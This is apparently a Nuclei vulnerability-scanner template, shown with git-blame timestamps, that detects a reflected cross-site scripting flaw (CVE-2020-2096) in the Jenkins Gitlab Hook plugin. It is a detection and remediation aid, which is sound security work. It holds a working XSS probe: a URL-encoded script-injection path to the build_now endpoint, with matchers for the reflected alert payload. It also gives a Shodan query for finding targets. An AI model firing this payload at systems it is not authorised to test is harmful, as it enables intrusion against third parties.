nuclei-templates/http/cves/2020/CVE-2020-2096.yaml

53 lines
1.8 KiB
YAML
Raw Normal View History

2021-01-02 04:56:15 +00:00
id: CVE-2020-2096
2020-04-08 10:59:57 +00:00
info:
name: Jenkins Gitlab Hook <=1.4.2 - Cross-Site Scripting
2020-04-08 10:59:57 +00:00
author: madrobot
2020-05-25 07:49:06 +00:00
severity: medium
description: Jenkins Gitlab Hook 1.4.2 and earlier does not escape project names in the build_now endpoint, resulting in a reflected cross-site scripting vulnerability.
2023-09-06 12:22:36 +00:00
remediation: |
Upgrade to the latest version of Jenkins Gitlab Hook plugin (>=1.4.3) to mitigate this vulnerability.
reference:
2021-03-10 11:31:41 +00:00
- https://jenkins.io/security/advisory/2020-01-15/#SECURITY-1683
- http://www.openwall.com/lists/oss-security/2020/01/15/1
- http://packetstormsecurity.com/files/155967/Jenkins-Gitlab-Hook-1.4.2-Cross-Site-Scripting.html
- https://nvd.nist.gov/vuln/detail/CVE-2020-2096
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-2096
cwe-id: CWE-79
2023-10-14 11:27:55 +00:00
epss-score: 0.96822
epss-percentile: 0.99571
2023-09-06 12:22:36 +00:00
cpe: cpe:2.3:a:jenkins:gitlab_hook:*:*:*:*:*:jenkins:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: jenkins
product: gitlab_hook
2023-09-06 12:22:36 +00:00
framework: jenkins
shodan-query: http.title:"GitLab"
tags: jenkins,xss,gitlab,plugin,packetstorm,cve,cve2020
2020-04-08 10:59:57 +00:00
http:
2020-04-08 10:59:57 +00:00
- method: GET
path:
2021-11-24 07:58:52 +00:00
- "{{BaseURL}}/gitlab/build_now%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
2020-04-08 10:59:57 +00:00
matchers:
2020-04-08 14:42:57 +00:00
- type: word
2020-04-08 10:59:57 +00:00
part: body
2021-11-23 11:01:24 +00:00
words:
2021-11-24 07:58:52 +00:00
- "</script><script>alert(document.domain)</script>"
- type: word
2021-11-23 11:01:24 +00:00
part: header
2021-11-24 07:58:52 +00:00
words:
- text/html
2023-07-11 19:49:27 +00:00
- type: status
status:
- 200
# digest: 4b0a004830460221009fa56b19165d6bb8a8ead80708072972eb397e2c1b94f2b01c51c045b4d43c37022100e1b1bfe4e989abcd44518b7fdcfe1146461a05abcddec4f692cfa5cfaaf6db4f:922c64590222798bb761d5b6d8e72950